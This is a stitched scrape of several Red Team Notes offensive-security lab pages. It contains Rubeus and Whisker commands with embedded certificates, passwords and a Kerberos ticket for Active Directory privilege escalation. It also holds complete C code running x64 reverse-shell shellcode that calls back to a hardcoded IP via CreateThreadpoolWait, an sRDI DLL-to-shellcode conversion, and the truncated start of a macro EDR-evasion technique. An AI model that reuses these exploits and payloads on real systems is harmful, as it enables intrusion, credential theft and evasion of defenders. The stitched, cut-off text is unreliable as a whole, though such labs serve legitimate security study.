7gmIen9hzJiVB2HC3ZXOlqX2cjzZJ3BvNd6fZNwf754+DAvH1J+Gf5hn7ov+EnjD9TtcOKJw6RCPJvqA5snsDkz8FCFgb1UfjbWfGvy6iCU9/nUejbM3sVKICWCDBNI0fSfG8HK9pMDRjOEg8SZHJ1l5aeOmo873dbrTAN1VXh4xDHveEcZTrqRGEep5RV+ga8+oSDsEtWZnCYPKFQBrd/5yrgX21c5m1eF51Z3C+uuG6T5XQFoRXxXsP3dlsafCoGlTGuwCW82rd0w4/gFPhWT9y+8BrM+x5DMNNOUQ5j35eB94vOza5dXqzgMgpb2e/wbpG2gg338yVVPkvm7Hl2RC57hemRJaGjL+T3UmSVkhVcsx9Az3DmC5xT5QPXegRx2prgNA7iQ/GzC31LV4twW0IoolnhdpiA0jiJgWzrfgF9OdE4VXVlyrtHr8t4HSC9CgzJfzaUI6CtjdBnZYmG+mOFs2d0Z5RPyanhxBZ3c39c7l8QR9U02Qsc8rhZgcV5+HIF7rRtNbQt3EfjfN+ot0s6kOsruTVJ3xRdjbWNsPxRX0lg8JbxltT+73PaVBm795R43RBym+eSBCBwTux8eMlCd5PpiIVHThYZKxZI3rUIyMsvV5FOzcOXn7WeG1yVGNLNCZLB39uOt3nYbCwuqSvKjs7MBHx2WEaC65opPXAfJUN/FtuLbpB9YJdqPaS/Fz8+rka6axLCm5fulGAv/dJgfPaHF+256q383LYBpb1QTA7MB8wBwYFKw4DAhoEFCEy7KEXXQtZSEhVQEM8FYljndDIBBRSHfb3Se8s7i9DdKvN/sv6aNlwyQICB9A= /password:"FordjX0Vp2VSncVV" /domain:first.local /dc:First-DC.first.local /getcredentials /show /ptt Copy Whisker.exe add /target:user-server2$ Copy Rubeus.exe asktgt /user:user-server2$ /certificate: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 /password:"ckXTY5LJOKKbG2TN" /domain:first.local /dc:First-DC.first.local /getcredententials /show /ptt /nowrap Copy Rubeus.exe s4u /dc:first-dc.first.local /ticket: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 /impersonateuser:admin@first.local /ptt /self /service:host/user-server2.first.local /altservice:cifs/user-server2.first.local ls \\user-server2.first.local\c$ --- # Code & Process Injection | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection.md) . [CreateRemoteThread Shellcode Injection](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection) [DLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/dll-injection) [Reflective DLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection) [Shellcode Reflective DLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection) [Process Doppelganging](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging) [Loading and Executing Shellcode From PE Resources](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources) [Process Hollowing and Portable Executable Relocations](https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations) [APC Queue Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection) [Early Bird APC Queue Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection) [Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-in-a-local-process-with-queueuserapc-and-nttestalert) [Shellcode Execution through Fibers](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber) [Shellcode Execution via CreateThreadpoolWait](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait) [Local Shellcode Execution without Windows APIs](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis) [Injecting to Remote Process via Thread Hijacking](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking) [SetWindowHookEx Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/setwindowhookex-code-injection) [Finding Kernel32 Base and Function Addresses in Shellcode](https://www.ired.team/offensive-security/code-injection-process-injection/finding-kernel32-base-and-function-addresses-in-shellcode) [Executing Shellcode with Inline Assembly in C/C++](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-inline-assembly-in-c-c++) [Writing Custom Shellcode Encoders and Decoders](https://www.ired.team/offensive-security/code-injection-process-injection/writing-custom-shellcode-encoders-and-decoders) [Backdooring PE Files with Shellcode](https://www.ired.team/offensive-security/code-injection-process-injection/backdooring-portable-executables-pe-with-shellcode) [NtCreateSection + NtMapViewOfSection Code Injection](https://www.ired.team/offensive-security/code-injection-process-injection/ntcreatesection-+-ntmapviewofsection-code-injection) [AddressOfEntryPoint Code Injection without VirtualAllocEx RWX](https://www.ired.team/offensive-security/code-injection-process-injection/addressofentrypoint-code-injection-without-virtualallocex-rwx) [Module Stomping for Shellcode Injection](https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection) [PE Injection: Executing PEs inside Remote Processes](https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes) [API Monitoring and Hooking for Offensive Tooling](https://www.ired.team/offensive-security/code-injection-process-injection/api-monitoring-and-hooking-for-offensive-tooling) [Windows API Hooking](https://www.ired.team/offensive-security/code-injection-process-injection/how-to-hook-windows-api-using-c++) [Import Adress Table (IAT) Hooking](https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking) [DLL Injection via a Custom .NET Garbage Collector](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-dll-via-custom-.net-garbage-collector-environment-variable-complus_gcname) [Writing and Compiling Shellcode in C](https://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c) [Injecting .NET Assembly to an Unmanaged Process](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-and-executing-.net-assemblies-to-unmanaged-process) [Binary Exploitation](https://www.ired.team/offensive-security/code-injection-process-injection/binary-exploitation) [Previouspubprn.vbs Signed Script Code Execution](https://www.ired.team/offensive-security/code-execution/t1216-signed-script-ce) [NextCreateRemoteThread Shellcode Injection](https://www.ired.team/offensive-security/code-injection-process-injection/process-injection) Last updated 7 years ago --- # Shellcode Execution via CreateThreadpoolWait | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait.md) . This is a quick lab to explore the sequence of APIs, that can execute shellcode by invoking a callback function passed to `CreateThreadpoolWait`. [](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait#technique-overview) Technique Overview --------------------------------------------------------------------------------------------------------------------------------------------------------------------- 1. `CreateEvent` is used to create an event object with a `Signaled` state 2. RWX memory for the shellcode is allocated with `VirtualAlloc` and the shellcode is written there 3. `CreateThreadpoolWait` is used to create a wait object. 1st argument of the function is a callback function, that will be called once the wait ends (immediately in our case, since our waitable event is in the `Signaled` state from the start). We will pass the address of our shellcode (allocated in step 2) as the callback function 4. `SetThreadpoolWait` is used to set wait object to the wait object created in step 3 5. `WaitForSingleObject` is used to wait for the waitable object to become `Signaled`, but since our event (waitable) object was created with a `Signaled` state in step 1, our callback function specified in step 3 is called and the shellcode is executed right away: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MBxx2hpWHgmiMSqTQDB%252F-MByeqLKxcH_eI1owS4Q%252FSetThreadpoolWait-shellcode.gif%3Falt%3Dmedia%26token%3D904a9ac8-f34e-4d64-bb8f-f67629fb43fd&width=768&dpr=3&quality=100&sign=c80a0c4&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait#code) Code ----------------------------------------------------------------------------------------------------------------------------------------- [](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait#references) References ----------------------------------------------------------------------------------------------------------------------------------------------------- [https://gist.github.com/alfarom256/180c90c2bc0ae6bfa5d109d822ea77a4](https://gist.github.com/alfarom256/180c90c2bc0ae6bfa5d109d822ea77a4) [PreviousShellcode Execution through Fibers](https://www.ired.team/offensive-security/code-injection-process-injection/executing-shellcode-with-createfiber) [NextLocal Shellcode Execution without Windows APIs](https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis) Last updated 5 years ago * [Technique Overview](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait#technique-overview) * [Code](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait#code) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait#references) Copy #include #include unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00" "\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54" "\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c" "\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff" "\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2" "\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48" "\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99" "\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63" "\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57" "\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44" "\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6" "\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff" "\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5" "\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48" "\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13" "\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"; int main() { HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL); LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode)); PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL); SetThreadpoolWait(threadPoolWait, event, NULL); WaitForSingleObject(event, INFINITE); return 0; } --- # Shellcode Reflective DLL Injection | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection.md) . Shellcode reflective DLL injection (sRDI) is a technique that allows converting a given DLL into a position independent shellcode that can then be injected using your favourite shellcode injection and execution technique. In this lab I wanted to try this technique as I think it is an amazing technique to have in your arsenal. In this lab, I'm playing with the amazing [https://github.com/monoxgas/sRDI](https://github.com/monoxgas/sRDI) written by monoxgas from Silent Break Security. [](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection#execution) Execution ----------------------------------------------------------------------------------------------------------------------------------------- Let's compile a simple x86 DLL - in my case, an odd DLL that pops 2 notepad processes when executed: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LjSvRKitqquU9hLq-KD%252F-LjSvUBjVqzB_3nceoWi%252Fimage.png%3Falt%3Dmedia%26token%3D8f0e05ca-c4a1-44f4-a1d4-c505770b27e2&width=768&dpr=3&quality=100&sign=1308c201&sv=2) Convert the DLL into shellcode. We will get an array of shellcode bytes represented in decimal values: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LjSc2tUq-UeoaSiDnaK%252F-LjScZ1IsecIta-eRGP9%252Fimage.png%3Falt%3Dmedia%26token%3D7ee1e4ac-06fa-4b14-9b91-8918db89efbe&width=768&dpr=3&quality=100&sign=7e1780cb&sv=2) Let's convert them to hex: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LjSc2tUq-UeoaSiDnaK%252F-LjSdspQB8-dVUn0PySt%252Fimage.png%3Falt%3Dmedia%26token%3D8ed55723-cde3-4410-b421-be390ff0117b&width=768&dpr=3&quality=100&sign=7f7c024e&sv=2) Join them all and print to a text file: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LjSc2tUq-UeoaSiDnaK%252F-LjSpDUX4et_bGhXqEjU%252Fimage.png%3Falt%3Dmedia%26token%3D566149af-3e0e-4ead-a602-9dd074ffb478&width=768&dpr=3&quality=100&sign=31b5403c&sv=2) Create a new binary file with the shellcode we got earlier - just copy the hex string (as seen in the above screenshot) and paste it to a new file using HxD hex editor: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LjSvRKitqquU9hLq-KD%252F-LjSw2nFPXwgHVVMttmd%252Fimage.png%3Falt%3Dmedia%26token%3D09ff06f3-b85d-4484-a451-b1a30cf2a7be&width=768&dpr=3&quality=100&sign=913cc09a&sv=2) In order to load and execute the shellcode, we will place it in the binary as a resource as described in my other lab [Loading and Executing Shellcode From PE Resources](https://www.ired.team/offensive-security/code-injection-process-injection/loading-and-executing-shellcode-from-portable-executable-resources) : ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LjSvRKitqquU9hLq-KD%252F-LjSw86-sEyrM6zkGbz3%252Fimage.png%3Falt%3Dmedia%26token%3Df9d16a62-976e-4b3a-8f40-264ffdc93976&width=768&dpr=3&quality=100&sign=716f191a&sv=2) Compile and run the binary. If the shellcode runs successfully, we should see two notepad.exe processes popup: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LjSvRKitqquU9hLq-KD%252F-LjSwX8r33rMWYenuqnq%252Fpop-2notepads.gif%3Falt%3Dmedia%26token%3D58cb1eef-4710-46ab-b7be-bc3baa5a5cb6&width=768&dpr=3&quality=100&sign=7af6fc32&sv=2) [](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection#references) References ------------------------------------------------------------------------------------------------------------------------------------------- [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)sRDI/PowerShell at master · monoxgas/sRDIGitHub](https://github.com/monoxgas/sRDI/tree/master/PowerShell) [PreviousReflective DLL Injection](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection) [NextProcess Doppelganging](https://www.ired.team/offensive-security/code-injection-process-injection/process-doppelganging) Last updated 6 years ago * [Execution](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection#execution) * [References](https://www.ired.team/offensive-security/code-injection-process-injection/reflective-shellcode-dll-injection#references) Copy $sc = ConvertTo-Shellcode \\VBOXSVR\Experiments\messagebox\messagebox\Debug\messagebox.dll Copy $sc2 = $sc | % { write-output ([System.String]::Format('{0:X2}', $_)) } Copy $sc2 -join "" > shell.txt --- # Bypassing Parent Child / Ancestry Detections | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships.md) . Defenders often engineer detections based on parent/child process relationships - i.e Excel spawns powershell - suspicious. This lab is mostly based on the techniques discussed on [https://www.countercept.com/blog/dechaining-macros-and-evading-edr/](https://www.countercept.com/blog/dechaining-macros-and-evading-edr/) Below are some techniques showing how those type of detections could be bypassed. [](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships#spawning-via-wmiprvse.exe-using-wmi) Spawning via WmiPrvse.exe using wmi ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- macro.vba Copy Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") Set objStartup = 